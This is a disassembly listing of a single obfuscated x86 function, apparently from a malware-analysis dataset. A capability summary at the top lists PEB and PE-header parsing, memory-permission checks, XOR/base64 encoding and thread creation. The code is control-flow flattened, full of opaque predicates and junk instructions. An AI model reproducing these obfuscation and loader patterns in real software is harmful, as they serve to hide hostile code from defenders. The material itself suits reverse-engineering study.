Function at 0x4024d0
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1d4
mov eax, dword [0x4f4e40]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0x2af0635a
andn edx, eax, esi
and esi, eax
mov ecx, esi
not ecx
and esi, 0xba08501c
mov edi, ecx
and edi, 0x45f7afe3
or esi, edi
mov edi, edx
not edi
and edx, 0xba08501c
or ecx, edi
and edi, 0x45f7afe3
or edx, edi
not ecx
mov edi, eax
and edi, 0x9605ef4e
xor edx, esi
mov esi, eax
not esi
and eax, 1
or ecx, edx
and esi, 0x69fa10b1
mov edx, ecx
not edx
or edi, esi
and ecx, 0xd50f9ca4
and edx, 0x2af0635b
xor edi, 0x69fa10b0
or eax, edi
or ecx, edx
mov ebx, ecx
mov edi, eax
not edi
not ebx
and ecx, 0x454def0f
mov esi, ebx
or ebx, eax
and esi, 0xbab210f0
and eax, 0xbab210f0
and edi, 0x454def0f
or ecx, esi
or edi, eax
not ebx
xor edi, ecx
or ebx, edi
mov eax, ebx
not eax
mov ecx, ebx
and ecx, 0x4085c4cd
and eax, 0xbf7a3b32
or eax, ecx
xor eax, 0xbf7a3b32
or eax, ebx
cmp eax, 0xffffffff
mov eax, dword [0x4f6180]
sete byte [ebp - 0x95]
cmp eax, 0xa
mov eax, 0xcf4a3b75
setl byte [ebp - 0x96]
jmp 0x402740
mov eax, dword [0x4f6184]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
and eax, 0x9755b9fb
or esi, 0x24210ac8
mov edx, ecx
and edx, 0x68aa4604
and esi, 0x37fb6afe
and ecx, 0xc0048500
or edx, eax
or ecx, esi
mov eax, edx
xor edx, 0x9755b9fb
xor eax, 0x68aa4604
mov edi, edx
or edi, 0x13da6036
mov ebx, eax
and ebx, 0x8001001
and edx, 0x8a39754
and edi, 0x37fb6afe
or ebx, edi
mov edi, eax
and edi, 0xf75c68ab
and eax, 1
or edi, edx
xor ecx, ebx
xor edi, 0x8a39755
mov esi, ecx
not esi
and ecx, 0x41d63f0b
or eax, edi
and esi, 0xbe29c0f4
mov edx, eax
not edx
and eax, 0xeffdc0ae
or ecx, esi
and edx, 0x10023f51
xor ecx, 0x6df725c3
or eax, edx
xor eax, 0xeffdc0ae
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x15d567ac
and ecx, 0xea2a9853
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb733ef1e
and ecx, 0x48cc10e1
or eax, ecx
mov ecx, eax
xor ecx, 0x5181005
xor eax, 0xa0048890
and eax, 0xf805efd8
and ecx, 0x7fa1027
or ecx, eax
mov eax, ecx
xor eax, 0x4e81021
xor ecx, 0xd000a788
and ecx, 0xd312a78e
and eax, 0x2ced5871
or eax, ecx
xor eax, 0x2ced5871
sete ah
setne dl
cmp dword [0x4f6180], 0xa
setge ch
mov al, ch
xor al, dl
or dl, ch
or ch, ah
and al, ah
mov cl, dl
xor al, 1
xor cl, 1
mov ah, al
or al, ch
xor ah, ch
xor al, 1
or al, ah
mov ah, cl
and ah, dl
xor ah, 1
mov ch, ah
or ah, dl
xor ch, dl
xor ah, 1
mov edx, ecx
or ah, ch
xor dl, al
xor ah, al
or al, cl
xor al, 1
or al, dl
mov edx, 0x5d3dd384
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0x6c8038ab
cmovne ecx, edx
test al, 1
mov edx, 0x6c8038ab
cmovne edx, ecx
test ah, 1
cmove edx, ecx
mov eax, edx
nop word [eax + eax]
cmp eax, 0x7222a53
jg 0x4028c0
cmp eax, 0xc48bf8c8
jg 0x402a10
cmp eax, 0x9ed3720e
jle 0x402d71
cmp eax, 0xb367ad16
jg 0x4030f7
cmp eax, 0xa963eba9
jle 0x40398e
cmp eax, 0xac723130
jg 0x4044ab
cmp eax, 0xaac0e203
jle 0x40638f
cmp eax, 0xabcbd70e
jg 0x409345
cmp eax, 0xaac0e204
je 0x40be31
cmp eax, 0xab7cf59d
jne 0x402740
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x7b2cd816
and edx, 0x84d327e9
or eax, edx
mov edx, eax
xor edx, 0x1a045014
xor eax, 0x84d327e9
mov esi, eax
and esi, 0x653aac63
and edx, 0x9ac5539c
or edx, esi
mov esi, ecx
not esi
and ecx, 0x9ac5539c
or eax, esi
and esi, 0x653aac63
or ecx, esi
not eax
mov esi, 0xf5a96ec5
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0x80060280
mov ecx, eax
xor ecx, 0x804907
and ecx, 0x4ba16917
and edx, 0xb45e96e8
or edx, ecx
mov ecx, eax
not ecx
and eax, 0x17064978
and ecx, 0xe8f9b686
xor edx, 0x7f79b479
or ecx, eax
xor ecx, 0xe8f9b686
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xaac1c1d2
and eax, 0x553e3e2d
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x67068f38
and eax, 0x98f970c7
or ecx, eax
xor ecx, 0x3238b115
sete dl
setne ah
cmp dword [0x4f6180], 0xa
setl ch
setge al
or dl, ch
xor ch, ah
mov cl, ch
xor cl, al
xor al, ah
and cl, ch
and al, dl
mov edx, ecx
mov ch, cl
xor dl, 1
and dl, al
xor al, 1
xor ch, al
and al, cl
and ch, cl
or al, dl
mov edx, 0x333102b5
mov cl, ch
xor cl, al
cmovne edx, esi
test al, al
jmp 0x408c7b
cmp eax, 0x44f595bc
jle 0x402b50
cmp eax, 0x5f297119
jle 0x402e71
cmp eax, 0x6fbbdcc3
jg 0x403470
cmp eax, 0x680eba0f
jle 0x4039de
cmp eax, 0x6b55c60d
jg 0x4045b7
cmp eax, 0x69e52783
jle 0x4064d0
cmp eax, 0x6a23ff2f
jg 0x4094b0
cmp eax, 0x69e52784
je 0x40be49
cmp eax, 0x69e77516
jne 0x402740
mov ecx, dword [0x4f6184]
mov esi, 0x81dc0139
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x14896eba
and edx, 0xeb769145
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xeb769144
and edx, 0x14896ebb
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne dl
sete ch
cmp dword [0x4f6180], 0xa
setl ah
setge al
mov cl, ah
or al, dl
xor cl, ch
xor al, 1
and ch, cl
or al, cl
and cl, ah
xor ah, dl
xor ch, 1
xor cl, 1
xor ah, 1
xor al, 1
mov dh, ch
or al, ah
xor dh, cl
or cl, ch
mov dl, al
xor cl, 1
xor dl, 1
or cl, dh
mov ch, cl
mov ah, cl
xor ch, 1
and ch, cl
xor ch, 1
xor ah, ch
or ch, cl
xor ch, 1
or ch, ah
mov ah, al
and ah, dl
xor ah, 1
or ah, dl
xor ah, 1
or ah, al
mov al, ch
xor al, 1
and al, ah
xor ah, 1
and ah, ch
or ah, al
mov al, cl
xor al, dl
or dl, cl
mov ecx, 0x5f29711a
xor dl, 1
or dl, al
mov al, dl
xor al, ah
test dl, 1
cmovne ecx, esi
test ah, 1
cmove ecx, esi
test al, 1
mov eax, 0x5f29711a
jmp 0x4117b6
cmp eax, 0xeb48b1e8
jg 0x402eed
cmp eax, 0xd7ba84fd
jg 0x403595
cmp eax, 0xceacd19f
jle 0x403b9d
cmp eax, 0xd1a2c2e0
jg 0x4046be
cmp eax, 0xcf4a3b74
jle 0x40650b
cmp eax, 0xd00d21d1
jg 0x409637
cmp eax, 0xcf4a3b75
je 0x40c06a
cmp eax, 0xcf6dc1db
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x5f26612e
mov ecx, esi
and ecx, 0xa0d99ed0
and esi, 0x61870c58
or edx, ecx
mov ecx, eax
and ecx, 1
and eax, 0x9e78f3a7
xor edx, 0x5f26612e
or eax, esi
or ecx, edx
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x44948b60
and edx, 0xbb6b749f
or edx, esi
mov esi, eax
xor esi, 0x9a687087
xor eax, 0x61870c58
or ecx, eax
and eax, 0x44948b60
and esi, 0xbb6b749f
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xd00d21d2
xor ecx, 0xffffffff
sete dl
setne ah
cmp dword [0x4f6180], 0xa
setl ch
setge al
mov cl, ch
xor cl, ah
xor cl, 1
or cl, al
xor al, ah
and dl, al
and al, ch
mov ah, dl
xor dl, al
xor al, 1
xor ah, 1
or al, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xd00d21d2
mov al, ah
xor al, dl
test dl, 1
mov edx, 0xf5a894a1
cmovne ecx, edx
test ah, ah
cmove ecx, esi
jmp 0x40a6c7
cmp eax, 0x29c49f82
jg 0x403097
cmp eax, 0x1932e5c7
jle 0x4035ea
cmp eax, 0x1fc23579
jle 0x403bde
cmp eax, 0x261bee61
jg 0x40482b
cmp eax, 0x22d27256
jle 0x406541
cmp eax, 0x24c88ac3
jg 0x4097b4
cmp eax, 0x22d27257
je 0x40c0d4
cmp eax, 0x23064699
jne 0x402740
or ebx, 0x3e
and edi, 0x43
mov edi, 0xaf
sbb edi, 0xa0
dec ebx
rol edi, 0x75
rcr eax, 0xf2
dec esi
not esi
imul esi
not ebx
rol ebx, 0xe8
not eax
inc edx
not edx
rol ebx, 0x14
not esi
dec esi
sbb edi, 0xc8
inc ebx
rol edx, 0x96
sbb esi, 0xff
imul eax
rcl edi, 0x59
mov eax, 0x7b
not edi
rcl edx, 0x96
rcr eax, 0x5c
bswap edi
not edx
not eax
dec edi
and esi, 0x64
add ebx, 3
or ebx, 0xfb
dec edi
rcr esi, 0x67
bswap edx
rcr ebx, 0x5c
bswap edx
mov esi, 0x6d
dec edi
inc edi
not esi
and eax, 0x96
not edx
neg eax
dec eax
rcr edi, 0x37
sbb ebx, 0x5f
ror esi, 0x47
bswap esi
imul edi
rcr edx, 0x1e
mov edi, 0xfa
inc esi
mov edi, 0xe7
dec edi
sub edi, 0xf9
neg edi
dec eax
and eax, 0xc9
not eax
mov ebx, 0xf7
dec esi
rol eax, 0xb5
dec edx
dec ebx
rol eax, 0x30
sbb ebx, 0xd3
inc edx
rcr edx, 0x7e
rol edx, 0x7c
add esi, 0xf7
or eax, 0x43
and edx, 0x82
sub eax, 0x9c
or edx, 0x96
rcl edx, 0xb5
ror eax, 0x83
rcl eax, 0x17
dec edx
sub ebx, 0xe5
and edi, 0xd6
dec ebx
rcl ebx, 0xe6
bswap edi
imul esi
inc edx
dec eax
mov edi, 0x35
sub ebx, 0xc0
sbb edx, 0xfa
not esi
mov eax, 0xe2
rol ebx, 0x81
neg edi
bswap edx
rol ebx, 0x87
imul ebx
not edx
inc eax
or edx, 7
imul edi
rol edx, 0xdc
not esi
neg ebx
imul edx
or esi, 0x89
dec esi
sub eax, 0x51
and esi, 0xf1
imul eax
mov edi, 0xea
ror eax, 0x6b
rcr eax, 0x33
dec eax
inc esi
mov ebx, 0x6a
imul ebx
inc eax
dec esi
not edi
rol edi, 0x22
neg edi
and esi, 0x7d
sbb edi, 0xf7
and esi, 0x2d
add edx, 0x15
or edx, 0x3d
mov ebx, 0x98
add eax, 0x1b
neg eax
mov ebx, 0x87
ror ebx, 0x8b
imul esi
or esi, 0x53
bswap ebx
dec eax
mov esi, 0xcf
ror eax, 0xd9
or edi, 7
rol edi, 0x1f
bswap ebx
rcr edi, 0x34
rcl edi, 0xb5
neg ebx
inc ebx
add edx, 0x82
dec eax
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, 0xd204ddbb
jmp 0x402740
cmp eax, 0x90bbdbd2
jle 0x403636
cmp eax, 0x9903d898
jle 0x403c28
cmp eax, 0x9aac6ebf
jg 0x40494f
cmp eax, 0x99a786d2
jle 0x406679
cmp eax, 0x9a3e5d75
jg 0x40a36a
cmp eax, 0x99a786d3
je 0x40c0e9
cmp eax, 0x9a0771c6
jne 0x402740
mov eax, dword [0x4f6184]
mov edi, 0x503ab272
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xdfca9730
mov eax, ecx
and eax, 0x81821210
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x5e488520
or eax, esi
mov esi, 0xb0570307
xor eax, 0x81821210
or eax, edx
not edx
and edx, 0x203568ce
and eax, 0xdfca9731
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2ecc480
and ecx, 0xfd133b7f
or eax, ecx
xor eax, 0x2ecc480
setne al
sete dl
cmp dword [0x4f6180], 0xa
setl ah
mov cl, ah
xor al, ah
xor cl, dl
or dl, ah
mov ah, al
or al, dl
xor ah, dl
and cl, dl
mov edx, 0x503ab272
not al
or al, ah
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
cmovne edx, edi
test al, al
cmovne edi, edx
test al, cl
mov eax, dword [ebp - 0x30]
cmove edi, edx
mov eax, dword [eax]
mov dword [ebp - 0x1cc], eax
mov eax, edi
jmp 0x402740
cmp eax, 0x521dfecd
jle 0x4036a2
cmp eax, 0x562de042
jle 0x403d18
cmp eax, 0x5b5ae0cb
jg 0x404b33
cmp eax, 0x57bcbcf2
jle 0x4066a4
cmp eax, 0x59c1924e
jg 0x40a390
cmp eax, 0x57bcbcf3
je 0x40c0f6
cmp eax, 0x599d549e
jne 0x402740
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x17c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x28]
lea eax, [eax + ecx + 0x18]
mov dword [edx], eax
mov eax, 0xfe7c6c3
jmp 0x402740
cmp eax, 0xfb98c083
jle 0x4037c7
cmp eax, 0xffc40392
jle 0x403d6f
cmp eax, 0x50b44b9
jg 0x404c0d
cmp eax, 0xcc72e3
jle 0x406763
cmp eax, 0x3bb25aa
jg 0x40a3b0
cmp eax, 0xcc72e4
je 0x40c100
cmp eax, 0x19e01dd
jne 0x402740
mov eax, dword [ebp - 0xe8]
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x39ed4fc8
and ecx, 0xc612b037
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe8618fe2
and ecx, 0x179e701d
or eax, ecx
mov edx, eax
xor edx, 0x2e733fd5
xor eax, 0xd18cc02a
mov ecx, edx
or ecx, 0xb80930f3
mov esi, eax
mov edi, eax
or esi, 0x504204
and edi, 0x6208400
and eax, 0x92046cd0
and ecx, 0xb85972f7
and esi, 0xb85972f7
or edi, ecx
mov ecx, edx
and ecx, 0x41860908
and edx, 0x6dfb932e
or ecx, esi
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0xb81a37db
and esi, 0x47e5c824
or ecx, esi
mov esi, ecx
xor esi, 0x2a5190
xor ecx, 0x41950e21
mov edx, ecx
and edx, 0xfe41a04f
and esi, 0x1be5fb0
or esi, edx
mov edx, eax
xor edx, 0x44c90
xor eax, 0x6dfb932f
or ecx, eax
and eax, 0xfe41a04f
and edx, 0x1be5fb0
or edx, eax
not ecx
xor edx, esi
mov esi, 0x9d53e982
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x85022b41
and eax, 0x7afdd4be
or eax, edx
xor eax, 0x85022b41
xor ecx, eax
test ecx, eax
setne dl
sete al
cmp dword [0x4f6180], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
xor dl, ch
and dh, ch
and cl, al
and dl, al
xor al, ah
or cl, dh
and al, ah
xor dl, 1
xor cl, 1
xor al, 1
mov ah, dl
or cl, ch
xor ah, al
or al, dl
xor al, 1
xor cl, 1
or al, ah
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x90a43788
cmovne eax, esi
test dl, 1
mov edx, 0x90a43788
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402740
cmp eax, 0x36cf3053
jle 0x403822
cmp eax, 0x3e4c553e
jle 0x403f7e
cmp eax, 0x41bbbb38
jg 0x404dfa
cmp eax, 0x40511029
jle 0x406aa9
cmp eax, 0x40b71ccd
jg 0x40a487
cmp eax, 0x4051102a
je 0x40c110
cmp eax, 0x4073426a
jne 0x402740
mov eax, dword [ebp - 0x58]
mov dword [eax], 0x40
mov eax, 0x1e7b0f9c
jmp 0x402740
cmp eax, 0xb9c13792
jle 0x403fbf
cmp eax, 0xbd5c6e14
jg 0x404e5c
cmp eax, 0xbc51f8e5
jle 0x406c40
cmp eax, 0xbcce4499
jg 0x40a5c8
cmp eax, 0xbc51f8e6
je 0x40c1ce
cmp eax, 0xbc9abddb
jne 0x402740
push 0xffffffffffffffff
push dword [ebp - 0x16c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg edi
neg esi
neg eax
rol ebx, 0x3c
ror edi, 0x66
add eax, 0x7a
rcl esi, 0x86
imul eax
rol esi, 0xc3
neg ebx
sbb ebx, 0x8f
sbb ebx, 0x15
or edx, 0xcb
dec edx
rcr esi, 0x6b
add edi, 0xd6
or edi, 0xf4
imul edi
add ebx, 0x96
rol edx, 4
imul esi
ror eax, 0x64
imul eax
not edi
imul edi
dec eax
bswap ebx
not edx
dec esi
dec edi
and eax, 0xcf
rol edx, 0xbc
neg esi
inc eax
inc edi
neg eax
imul edi
neg edi
imul edi
dec esi
bswap eax
not edi
and edx, 0xd8
or edi, 0x23
rcl eax, 0xde
mov ebx, 0x4e
rcr esi, 7
or eax, 0xc2
mov esi, 0x94
mov esi, 0x55
neg edi
inc edx
and esi, 0xfd
sub edi, 0x38
inc edi
add ebx, 0x84
bswap edi
rol ebx, 0x7e
neg esi
inc ebx
rol edi, 6
rol ebx, 0x2c
neg esi
and edx, 0x11
mov edi, 0xd1
imul edx
mov ebx, 0
bswap edx
rcl esi, 0xbd
not edx
rol eax, 0x94
or ebx, 0x8b
inc esi
imul ebx
sub ebx, 0xe1
ror edx, 0x17
add esi, 0x6b
bswap edi
add eax, 0x62
neg esi
bswap edx
dec edx
bswap edx
inc edi
dec ebx
rcl ebx, 0x7d
neg edi
and eax, 0xe
imul eax
and eax, 0xa0
inc ebx
rol ebx, 0xcf
or esi, 0x69
ror edi, 0xb3
not esi
sbb edx, 0xf1
rcl edx, 0x90
rcr ebx, 0x35
mov ebx, 0xb3
bswap edi
inc ebx
imul esi
mov edx, 0x43
imul esi
not esi
inc ebx
dec edi
or ebx, 0xea
ror edx, 0xd
neg edi
not edi
rcl esi, 0x9d
neg ebx
sbb ebx, 0x78
sub edi, 0xa8
neg esi
inc ebx
ror ebx, 0x7a
bswap esi
mov edi, 9
bswap edi
mov edx, 0xf6
inc ebx
rcr ebx, 0x9a
add ebx, 0x63
sbb eax, 0x24
neg edx
rcl esi, 0x45
ror eax, 0xb1
and eax, 0x33
sub edx, 0xf9
neg esi
or ebx, 0x8a
neg edi
not esi
imul esi
or esi, 0xe
inc ebx
sbb edx, 0
rcl esi, 0x1e
dec edi
imul esi
sbb esi, 0x2c
dec eax
add eax, 0x1b
imul ebx
or edi, 0x6d
and ebx, 0x8b
neg edx
add ebx, 0xde
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0xb0]
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0x6b9ae8e9
mov edi, edx
or edi, 0xa36f63a4
mov esi, edx
and esi, 0xa36f63a4
and edx, 0x94651716
mov eax, edi
not eax
and edi, 0x5c909c5a
or ecx, edx
or eax, esi
and eax, 0xa36f63a5
or eax, edi
mov esi, eax
not esi
and eax, 0x50dff9ff
and esi, 0xaf200600
or eax, esi
mov esi, eax
xor esi, 0x5888b5
xor eax, 0xaf200600
mov edx, eax
and edx, 0xd0a7774a
and esi, 0x2f5888b5
or esi, edx
mov edx, ecx
xor edx, 0x2b1888a1
xor ecx, 0x94651716
or eax, ecx
and ecx, 0xd0a7774a
and edx, 0x2f5888b5
or edx, ecx
not eax
xor edx, esi
mov esi, 0xbcce449a
or eax, edx
mov ecx, eax
not ecx
and eax, 0x5881c9cf
and ecx, 0xa77e3630
or eax, ecx
xor eax, 0x5881c9cf
sete ch
setne dl
cmp dword [0x4f6180], 0xa
setge al
setl cl
mov ah, al
or al, ch
xor ah, dl
or dl, cl
or cl, ch
xor al, 1
xor cl, 1
xor dl, 1
or cl, ah
or al, dl
mov ah, cl
mov ch, al
xor ah, 1
xor ch, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov dh, dl
and dl, ch
xor ch, cl
xor dh, 1
and dh, al
or al, ah
xor al, 1
or dl, dh
or al, ch
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x562de043
cmovne ecx, esi
test al, 1
mov eax, 0x562de043
cmovne eax, ecx
jmp 0x40c512
cmp eax, 0x768103be
jle 0x40400f
cmp eax, 0x7c9d1fe2
jg 0x404faa
cmp eax, 0x799001c6
jle 0x406d93
cmp eax, 0x7b4bb4a0
jg 0x40a5e8
cmp eax, 0x799001c7
je 0x40c1d8
cmp eax, 0x7afef07e
jne 0x402740
mov ecx, dword [0x4f6184]
mov edi, 0xf520657b
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x2d0c1d09
and ecx, 0xc28094
or edx, ecx
mov ecx, eax
xor ecx, 0x2dce9d9d
xor edx, 0x2d0c1d09
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x2dce9d9c
and edx, 0xd2316263
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0xc50931db
xor edx, ecx
test edx, ecx
sete dl
setne ch
cmp dword [0x4f6180], 0xa
setge cl
setl dh
mov ah, cl
mov al, dh
inc ah
xor al, ch
mov bl, ah
mov bh, ah
xor ah, dl
not al
and bl, cl
and al, dh
xor bh, bl
xor bl, 1
or bl, cl
or cl, ch
xor bl, 1
xor cl, 1
or bl, bh
or cl, ah
mov bh, bl
and bl, ch
xor cl, 1
or ch, dh
xor bh, 1
xor ch, 1
and bh, dl
or al, ch
or bl, bh
or cl, bl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, dl
and dl, cl
xor ah, 1
or cl, ah
and ah, al
or ah, dl
mov al, cl
mov edx, 0xf520657b
jmp 0x40cf5e
cmp eax, 0xde52abd6
jg 0x404059
cmp eax, 0xdbff38a6
jg 0x404fe3
cmp eax, 0xd95ed5db
jle 0x406dcd
cmp eax, 0xdae1995f
jg 0x40a608
cmp eax, 0xd95ed5dc
je 0x40c1eb
cmp eax, 0xd9aaf439
jne 0x402740
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, 0x799001c7
jmp 0x402740
cmp eax, 0x105c5c95
jg 0x40409a
cmp eax, 0xaa1e5dd
jle 0x4052c0
cmp eax, 0xd79d842
jle 0x406df8
cmp eax, 0xecb43db
jg 0x40a6d3
cmp eax, 0xd79d843
je 0x40c31a
cmp eax, 0xe8c935f
jne 0x402740
mov eax, 0x4f885c36
jmp 0x402740
cmp eax, 0x88fff70e
jg 0x4041c4
cmp eax, 0x826d5e33
jle 0x405422
cmp eax, 0x85cef9ac
jle 0x406edf
cmp eax, 0x87637686
jg 0x40a6ff
cmp eax, 0x85cef9ad
je 0x40c462
cmp eax, 0x85e9d9cc
jne 0x402740
mov eax, dword [ebp - 0x18c]
push dword [eax + 0x10]
push dword [ebp - 0x188]
push dword [ebp - 0x184]
vzeroupper
call fcn.00434740
add esp, 0xc
mov eax, 0x7d1bb17e
jmp 0x402740
cmp eax, 0x4b1154b2
jg 0x404205
cmp eax, 0x47823c49
jle 0x405458
cmp eax, 0x4a8ea282
jle 0x406f0d
cmp eax, 0x4adceec3
jg 0x40a8a5
cmp eax, 0x4a8ea283
je 0x40c475
cmp eax, 0x4a9e1709
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x9200090
mov esi, edx
and esi, 0x445bec04
or edx, 0x495a0c10
or ecx, esi
and edx, 0xe95a0e18
mov esi, ecx
xor esi, 0x200080
xor ecx, 0xe05a0e08
and ecx, 0xe95a0e18
and esi, 0x421e084
or esi, ecx
mov ecx, eax
and ecx, 0x12841163
or ecx, edx
xor ecx, esi
mov esi, 0xc58cb6de
mov edx, ecx
not edx
and ecx, 0x924d2f78
and edx, 0x6db2d087
or ecx, edx
mov edx, ecx
xor edx, 0xdf36c3ed
xor ecx, 0x20c93c12
and edx, eax
andn eax, eax, ecx
or edx, eax
not edx
or edx, ecx
xor edx, 0xffffffff
sete dl
setne al
cmp dword [0x4f6180], 0xa
setge cl
xor dl, cl
xor al, cl
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
xor dl, 1
mov ah, cl
and al, cl
or cl, dl
not ah
and ah, dl
mov edx, ecx
or al, ah
xor dl, al
test cl, 1
mov ecx, 0x132ecfb3
cmovne ecx, esi
test al, al
not dl
mov eax, 0x132ecfb3
cmove ecx, esi
test dl, 1
jmp 0x40ab54
cmp eax, 0xf4383736
jg 0x404328
cmp eax, 0xef1a0890
jle 0x40548e
cmp eax, 0xf18b46be
jle 0x4070f8
cmp eax, 0xf251b19b
jg 0x40a8c5
cmp eax, 0xf18b46bf
je 0x40c47f
cmp eax, 0xf1b63174
jne 0x402740
cmp byte [ebp - 0x9f], 0
mov eax, 0xa599f4c3
mov ecx, 0x731975b7
cmovne eax, ecx
jmp 0x402740
cmp eax, 0x30d38808
jg 0x40444b
cmp eax, 0x2d3fe15c
jle 0x4055f2
cmp eax, 0x2f138c91
jle 0x407225
cmp eax, 0x2fe5c94b
jg 0x40a8e5
cmp eax, 0x2f138c92
je 0x40c51d
cmp eax, 0x2fb20e6e
jne 0x402740
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xffb48729
mov eax, edx
and eax, 0x96d0866c
and ecx, edx
not edx
and edx, 0x692f7993
or eax, edx
mov edx, eax
xor eax, 0x69240101
xor edx, 0x14108020
mov esi, eax
or esi, 0x497896
and edx, 0x35108020
and esi, 0xcaed7f9f
or edx, esi
mov esi, ecx
not esi
and ecx, 0x35128060
or eax, esi
and esi, 0xcaed7f9f
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x4b78d6
and eax, 0xffb48729
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 1
and eax, 0xa8c84d44
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x5737b2ba
or eax, esi
mov esi, edx
not esi
and edx, 0xa8c84d45
or ecx, esi
and esi, 0x5737b2ba
or edx, esi
not ecx
mov esi, 0x105c5c96
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x3e6b8bfb
and eax, 0xc1947404
or ecx, eax
mov eax, ecx
xor eax, 0x14680bc9
xor ecx, 0x80946400
and eax, 0x55681bcd
and ecx, 0xaa97e432
or ecx, eax
xor ecx, 0xaa97e432
sete ah
setne dl
cmp dword [0x4f6180], 0xa
setge al
setl cl
mov ch, al
and al, ah
xor ch, dl
and dl, cl
or cl, ah
xor cl, 1
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x9903d899
cmovne eax, esi
test dl, dl
mov edx, 0x9903d899
jmp 0x40d55b
cmp eax, 0xa44738ca
jle 0x405641
cmp eax, 0xa68a36b7
jle 0x40740e
cmp eax, 0xa82cd146
jg 0x40a90b
cmp eax, 0xa68a36b8
je 0x40c695
cmp eax, 0xa6fd5c12
jne 0x402740
cmp dword [ebp - 0x1c4], 0
mov eax, 0x5b5ae0cc
mov ecx, 0x8d48ba79
cmovns eax, ecx
jmp 0x402740
cmp eax, 0x631103ad
jle 0x405680
cmp eax, 0x63d8cfaf
jle 0x407445
